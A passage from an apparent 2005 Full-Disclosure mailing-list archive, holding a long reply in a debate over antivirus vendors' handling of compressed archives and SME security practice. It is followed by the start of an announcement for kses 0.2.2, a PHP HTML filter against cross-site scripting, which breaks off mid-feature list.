In-Reply-To: <4207D054.9000004@sdf.lonestar.org> References: <4205FC4E.18353.30924D8@localhost> <42065914.19012.4738501@localhost> <1107706559.9514.20.camel@anubis> <4207D054.9000004@sdf.lonestar.org> Message-ID: <1107825216.19181.4.camel@anubis> First off, thanks for the e-mail! It was well argued, and you obviously took a lot of time on it; this is much appreciated. With that, let the reply begin.. On Mon, 2005-02-07 at 15:32 -0500, bkfsec wrote: > James Eaton-Lee wrote: > > >For many SMEs, the distinction is irrelevant, as a significant number of > >e-mail servers do *NOT* incorporate antivirus software designed with > >gateway scanning in mind - they run desktop scanning tools on e-mail; > >thus, for many companies, the distinction between 'gateway' and > >'desktop' antivirus software is both, since one scanning engine and set > >of definitions play the same role. > > > > > I think that the distinction that Nick was making was that any AV that > is intended to do gateway scanning should implement this, which is > implied by his whole "gateway scanners may have a problem with this..." > point. > > If corporations are using desktop scanners as gateway scanners, then > they're misusing the product. > > I could try to tow 3 tons of bricks with my little Honda Civic, but > would it be Honda's fault if my engine gave out? I'd be misusing the > product. 'nuff said. A good point - and one which is worth addressing. Obviously, arguing 'ad absurdum', this point becomes irrelevant (as, in fact, do most points) - but the devil is in the detail, especially in this particular case; I've read through the documentation (which I happen to have in my office) which comes with three extremely common corporate antivirus products this afternoon (Norton, CA InnoculateIT, and Sophos SBE), and although admittedly I've been busy and I *haven't* read through *every* piece of paper and manual which comes with any of them (and I haven't read any of the documentation on the vendors websites), I haven't found a single paragraph concerning use in this particular manner. If a particular piece of antivirus software isn't designed for a specific role, then vendors need to make this obvious in order that they can avoid, as you put it, "misusing the product". Failure to do so is the vendor's problem, not the user's. (No, it's not common sense.) This swings both ways; IT staff shouldn't use products in a way which is likely to backfire - but at the same time, especially in departments on tight budgets, make-do-and-mend is practically a life philosophy. Some vendors are more open than others about allowing their customers to 'hack' their product; sophos in particular have been extremely supportive over the phone when I've 'hacked' their product using vbs/perl/python (note: this may be, and is almost certainly a first-line policy rather than a corporate one), as have several other major software vendors. Many vendors *expect* their customers to write their own solutions, scripts, and hacks based around their software packages - Microsoft have one scripting language (vbs) which is really only used to hack windows(!). If companies don't extend the same flexibility to their product usage as others, they need to make thus abundantly clear. > >Antivirus technology is something which even non-technical office staff are very > >much aware of, and they base many aspects of their work on assumptions > >such as the fact that if an antivirus scanner has not detected 'a virus' > >in a file they have sent/downloaded/copied, that it is safe - although > >they may not be at risk from a virus in an archive file that their > >antivirus software does not detect, other people may. > > > > > Well, this is largely a perception problem. People think that a clean > scan means that something is safe and that's wrong. It's not just wrong > in AV, it's wrong in all security analysis issues. It's wrong in IDS. > It's wrong in forensics. It's wrong in pen-testing. Like I said, peoples use of software is based on assumptions; this assumption in particular (that a clean scan == safe) has had very little attempt made to dispel it. You know what exactly a 'clean scan' means, I know what it means, and half of the users on full disclosure probably do - but this doesn't mean that users do. Users don't have technical staff staring over their shoulder 24/7, and they cannot (and should not) phone up a helpdesk each time they have a niggling query about what exactly something like this means; this is another issue where, I believe, if an antivirus vendor doesn't mean X by Y (where Y is a product feature/message and X is an assumption about what the product has done or is telling the user), then they need to say so! (They don't!) For a user who knows that "the antivirus software detects viruses and quarantines them", the statement "no viruses have been found on your computer" can be extrapolated to mean "There are no viruses on your computer", since a package designed to detect viruses not having detected viruses must mean that there aren't any viruses.. right? (Again, I know this isn't true, so do you. They don't. This is the point.) In fact, such is the hysteria surrounding viruses at the moment that we as an industry are very bipolar about how we portray security. Again, I know what these concepts and terms mean and so do you - but (as an industry), we don't preach these concepts to users. (disclaimer: you might, the industry as a whole doesn't). Home users in particular have had antivirus software and firewalling shoved down their throats in the last 18 months - with little explanation of what these things involve and what protection they afford. The lacklustre effort to actually give people a holistic understanding of how things work has resulted in a set of common misconceptions (such as firewall == no hackers, clean virus scan == no viruses, etc). This *IS* a lack of understanding on the part of the user, but they are not the expert on viruses, antivirus vendors are. > What the outcome really means is, literally, that nothing that the > product was designed to detect was detected. It means nothing more and > nothing less. > However, people turn that into "the coast is clear" because people don't > want to live in a constant state of paranoia and fear. By their nature, > security and usefulness have to be balanced, at least in this way. Agreed with you on the first point; I've covered the second already; as far as I'm concerned, people are at fault here, but they have no way of educating themselves on these issues; the security industry has to do it for them, and sitting on our hands and agreeing with each other that people are not using software properly, and that they need to educate themselves or buy another software package simply isn't going to accomplish anything. You can pick your philosophy here; be right and let people burn or marginally compromise your philosophical principles and do some good. > > However, this all comes down to one point: If the AV can detect the > malware uncompressed, but can't detect it compressed, then there's no > problem. The malware has to be decompressed to be dangerous. That was > Nick's point and it's 100% correct. Yes and no - if the AV can detect the malware uncompressed, there's less of an issue. But the malware really shouldn't make it onto the network in the first place - as I pointed out, clients are fallable, servers are less so, and therefore security measures should be kept as server-orientated as possible if businesses are to have maximum security. I think I'm taking the braces and belt line here. > IF your AV software is functioning normally. > IF your AV software has proper real-time detection capabilities. > IF your AV is properly setup and scans the programs you run at the time > they're read from the HD. > IF your AV will detect the malware uncompressed. > > Then, as should be true for the vast majority of situations out there, > the malware will be caught as it's being extracted from the archive. > Or, barring detection on writes, when it's being executed in the first > place. If, If, If. This is a chain argument, and as soon as you break one link in a chain argument, the conclusion fails to be valid! I'd far rather have a situation where If X then Z, or if Y then Z. Failure of client antivirus software should not leave clients open to viruses - without compression support (and lots of other things), I believe that under certain circumstances, it does. > > If the problem you're pointing out is that SMEs are carrying out > cost-cutting by not putting AV on their workstations and blindly relying > on gateway scanning, then that SME has a much bigger set of problems > than not having compressed tarball support on their gateway scanner, and > their cost-cutting is ultimately going to cost them. > > That SME has made a grave mistake and hopefully they'll learn their lesson. This is the same argument as before; I know that SMEs shouldn't do this, and you know it too - but the fact is that they do. Security professionals and vendors need to consider *all* eventualities, and not rely on *one* method of doing everything based on the idea that if anyone is doing any of this differently, they're wrong and they'll pay the price. The job of a security professional isn't to consign companies to security hell for political reasons - it's to make that company more secure, whether or not they like the way in which they're doing it. > > >Harking back to SMEs, who seem to be at the focus of most of the points > >that I've made, it's quite possible that the inability to scan an > >archive file could be extremely damaging to a business's reputation when > >forwarded to a partner or customer > > > In what situation can you imagine where a person blindly forwards > compressed (unscanned) content to a business partner? Virtually every situation. People are stressed, lazy, and ignorant, and they forward e-mails to other people *all the time*. But this isn't the point - stupidity shouldn't be what causes network security to fall down - network security should be *STUPIDITY INDEPENDENT*. This axiom capitalised in order to promote my new line of 'Stupidity Independent' network appliances and software. (Ok, that was less than funny, but this is a long and serious e-mail and it needs punctuating in what has otherwise been a rather pompous and arrogant thread in the mailing list). As an example of this point, consider this: Would you make every user on your network a Domain Administrator based on the logic that if they break anything it's due to stupidity and therefore their problem and not yours? Like it or not, this is basically the same logic at work. > Again, this can only be because of cost-cutting issues at the SME or > laziness on the part of the SME's employee. Again, the problem is not > the issue of the AV, but rather the fault of the SME for not being more > careful. > > > - since you're obviously sure of your > >positions on these issues, I shouldn't have to remind you that antivirus > >software isn't about being theoretically perfect, it's about preventing > >business loss. > > > > > This is the wrong way to think about it. > > The goal of antivirus is, plainly said, to detect and block malware from > running. > > Preventing business loss is a side-effect of this. There are many > reasons for keeping malware off of systems, business benefit is only one > of them. Companies don't buy software because it's what the IT industry likes, beacuse it's commonly deployed, or because it looks nice (usually). The fundamental reason for IT upgrades in businesses is because it causes the business to run more efficiently. I buy cheap dell workstations for my businesses in full knowledge that an apple mac running OSX is running a superior OS on a superior platform - because for *the business*, another workstation running windows xp is of more value than the OSX workstation, even thought the OSX workstation is technologically superior. Businesses do not (should not) buy things because they're technologically superior, they buy them because they can use them to further the business and make more money. In the case of purchases which *are* made on the grounds that they're technologically superior (executive toys?), I suppose the argument would be that the technological superiority is necessary in order to impress clients or accomplish a goal. My point is, technology is *means*, not an *end*. Following this logic, antivirus software is deployed because it provides a palpable benefit, and for this reason, the primary goal of antivirus software *is* to provide business continuity in the same way that a cleaner mops the floors in order to provide business continuity. They simply go about their tasks (the means to the end) in a different way in order to do so. > A hammer is a hammer. Its sole intent is to bash things (and, possibly, > pry them out). It can be used to build houses, but it is not a > house-builder. That's a bad example; you've taken one thing which accomplishes one thing (antivirus software) and compared it to something which can be used for a wide variety of tasks. > >Antivirus software is deployed based on many sets of assumptions. > >Failure to live up to these assumptions is generally what causes the > >most damage to businesses as protection they thought they had in place > >fails - this issue is something which falls into this category; > >antivirus software is, in the majority of SMEs, implemented by staff > >without extensive experience in antivirus software, and they are highly > >unlikely to be aware of issues such as this one (especially since in > >most antivirus software, the option is given to 'scan archive files', > >not 'scan archive files apart from the ones we don't understand') - not > >a serious issue, but definitely a significant one, and one which should > >be fixed upstream by antivirus vendors. > > > > > > > It is expressly impossible to determine what the uneducated, untrained, > and willfully incapable of reading documentation will do when left to > their own devices. > > User-friendly software tries to cater to these users, by making things > as simple as possible, but that does not mean that all of these > conditions can be predicted. I'm very much in agreement that AV > programs should support compressed tarballs and other archival formats. > However, any organization that is bitten by this relatively small flaw > will be bitten because they lack common sense. Possibly, possibly not. How about we just avoid the problem in the first place? > The OEMs out there, along with the AV companies for obviously > self-serving reasons, have gone a long way towards trying to spread the > word that virus protection should be on all clients out there. This is > not an arcane planning issue like, say, properly implementing an IDS. > It's a common sense, best practices, no BS doctrine. > > And there are no excuses for an organization that purposefully puts > themselves into a position where a minor defect like this can harm their > business. > > -Barry Thankyou for your intelligent, considered e-mail! Fundamentally, I think we have the same ideas at work, but with some different experiences; as a side note, I'd like to mention how much I love the evolution 2.2 for catching an application failure and keeping 99% of the text I wrote here after it locked up 10 minutes into writing this e-mail. regards, - James. From Ulf.Harnhammar.9485 at student.uu.se Tue Feb 8 02:05:06 2005 From: Ulf.Harnhammar.9485 at student.uu.se (Ulf =?iso-8859-1?b?SORybmhhbW1hcg==?=) Date: Tue, 8 Feb 2005 03:05:06 +0100 Subject: [Full-Disclosure] [ANNOUNCE] kses 0.2.2 Message-ID: <1107828306.42081e52e50ab@webmail.uu.se> kses 0.2.2 [kses strips evil scripts!] ========== * INTRODUCTION * kses is an HTML/XHTML filter written in PHP. It removes all unwanted HTML elements and attributes, no matter how malformed HTML input you give it. It also does several checks on attribute values. kses can be used to avoid Cross-Site Scripting (XSS), Buffer Overflows and Denial of Service attacks, among other things. The program is released under the terms of the GNU General Public License. It is used by popular programs such as WordPress and Geeklog. * FEATURES * Some of kses' current features are: * It will only allow the HTML elements and attributes that it was explicitly told to allow. * Element and attribute names are case-insensitive (a href vs A HREF). * It will understand and process whitespace correctly. * Attribute values can be surrounded with quotes, apostrophes or nothing. * It will accept valueless attributes with just names and no values (selected). * It will accept XHTML's closing " /" marks. * Attribute values that are surrounded with nothing will get quotes to avoid producing non-W3C conforming HTML ( works but isn't valid HTML). * It handles lots of types of malformed HTML, by interpreting the existing code the best it can and then rebuilding new code from it. That's a better approach than trying to process existing code, as you're bound to forget about some weird special case somewhere. It handles problems like never-ending quotes and tags gracefully. * It will remove additional "<" and ">" characters that people may try to sneak in somewhere. * It supports checking attribute values for minimum/maximum length and minimum/maximum value, to protect against Buffer Overflows and Denial of Service attacks against WWW clients and various servers. You can stop